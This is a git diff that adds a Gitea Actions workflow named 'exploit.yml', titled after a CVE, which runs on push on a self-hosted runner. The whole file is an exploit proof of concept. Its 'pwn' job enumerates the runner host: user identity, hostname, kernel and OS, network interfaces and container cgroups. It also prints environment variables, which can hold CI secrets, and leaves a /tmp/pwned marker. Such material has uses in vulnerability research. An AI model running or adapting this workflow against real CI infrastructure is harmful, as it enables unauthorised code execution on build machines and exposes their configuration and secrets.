diff --git a/.gitea/workflows/exploit.yml b/.gitea/workflows/exploit.yml
new file mode 100644
index 0000000..141a8f0
--- /dev/null
+++ b/.gitea/workflows/exploit.yml
@@ -0,0 +1,18 @@
+name: CVE-2026-58053
+on: push
+jobs:
+  exploit:
+    runs-on: self-hosted
+    steps:
+      - name: pwn
+        run: |
+          echo "=== $(hostname) ==="
+          id
+          whoami
+          cat /etc/hostname
+          uname -a
+          cat /etc/os-release | head -3
+          ip addr 2>/dev/null | head -10 || ifconfig 2>/dev/null | head -10
+          cat /proc/1/cgroup 2>/dev/null | head -3
+          env | head -10
+          echo "=== DONE ===" > /tmp/pwned